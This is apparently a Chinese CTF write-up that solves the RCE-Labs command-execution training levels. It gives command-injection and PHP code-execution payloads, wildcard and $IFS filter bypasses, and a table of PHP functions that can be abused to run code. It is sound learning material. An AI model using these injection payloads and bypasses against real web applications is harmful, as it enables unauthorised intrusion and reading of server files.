BUU打不开了,只能来刷其他的,本想刷CryptoHACK,但是那个貌似有点难,密码我还是不太懂。
很早以前就在各种CTF群见过探姬,我一直以为 Tā 是二次元,但没想到 Tā 还女装,推特很多图。至于是不是男娘不知道。
Tā 课讲得很不错,CTF办赛、授课、靶场做得都很好。
【RCE-Labs】就是探姬做的命令执行靶场,同类的还有 【PHPSerialize-labs】PHP反序列化、【PHPinclude-labs】PHP文件包含,规划中的【PHPFeature-labs】PHP特性、【Nodejs-labs】原型链污染;Misc有【n3tfl0w-labs】流量分析、【Steg-labs】隐写
考察点很全,配套的CTF学习网站是:Hello CTF,本套靶场的仓库也是有wp的:GitHub - ProbiusOfficial/RCE-labs: 【Hello-CTF labs】一个想帮你收集所有RCE技巧的靶场。
不想部署的话,可以用网上已部署的靶场:
[【Chain Mirror Platform】](Chain Mirror Platform)
已创建好合集的是CTFPLUS和CMP,这里我采用CMP
RCELABS-0:代码执行&命令执行
打开就是flag
RCELABS-1
uri
1a=system('cat /flag');RCELABS-2
随机抽函数,来调用content,这里写一个,然后一直发包,直到某个函数能够匹配上。
uri
| 函数 | 说明 | 示例代码 |
|---|---|---|
${} | 用于复杂的变量解析,通常在字符串内用来解析变量或表达式。可以配合 eval 或其他动态执行代码的功能,用于间接执行代码。 | eval('${flag}'); |
eval() | 用于执行一个字符串作为 PHP 代码。可以执行任何有效的 PHP 代码片段。没有返回值,除非在执行的代码中明确返回。 | eval('echo $flag;'); |
assert() | 测试表达式是否为真。PHP 8.0.0 之前,如果 assertion 是字符串,将解释为 PHP 代码并通过 eval() 执行。PHP 8.0.0 后移除该功能。 | assert(print_r($flag)); |
call_user_func() | 用于调用回调函数,可以传递多个参数给回调函数,返回回调函数的返回值。适用于动态函数调用。 | call_user_func('print_r', $flag); |
create_function() | 创建匿名函数,接受两个字符串参数:参数列表和函数体。返回一个匿名函数的引用。 自 PHP 7.2.0 起被废弃,并自 PHP 8.0.0 起被移除。 | create_function('$a', 'echo $flag;')($a); |
array_map() | 将回调函数应用于数组的每个元素,返回一个新数组。适用于转换或处理数组元素。 | array_map(print_r($flag), $a); |
call_user_func_array() | 调用回调函数,并将参数作为数组传递。适用于动态参数数量的函数调用。 | call_user_func_array(print_r($flag), array()); |
usort() | 对数组进行自定义排序,接受数组和比较函数作为参数。适用于根据用户定义的规则排序数组元素。 | usort($a,print_r($flag)); |
array_filter() | 过滤数组元素,如果提供回调函数,仅包含回调返回真值的元素;否则,移除所有等同于false的元素。适用于基于条件移除数组中的元素。 | array_filter($a,print_r($flag)); |
array_reduce() | 迭代一个数组,通过回调函数将数组的元素逐一减少到单一值。接受数组、回调函数和可选的初始值。 | array_reduce($a,print_r($flag)); |
preg_replace() | 执行正则表达式的搜索和替换。可以是单个字符串或数组。适用于基于模式匹配修改文本内容。 依赖 /e 模式,该模式自 PHP7.3 起被取消。 | preg_replace('/(.*)/ei', 'strtolower("\\1")', ${print_r($flag)}); |
ob_start() | ob_start — 打开输出控制缓冲,可选回调函数作为参数来处理缓冲区内容。 | ob_start(print_r($flag)); |
RCELABS-3
POST: a=cat /flag
RCELABS-4
uri
1/?ip=127.0.0.1;cat /flagRCELABS-5
uri
1/?cmd=cat /fl?gRCELABS-6
1/?cmd=/???/?a??64 /??a?RCELABS-7
uri
1/?cmd=cat$IFS/fl?gRCELABS-8
1/?cmd=cat /flag;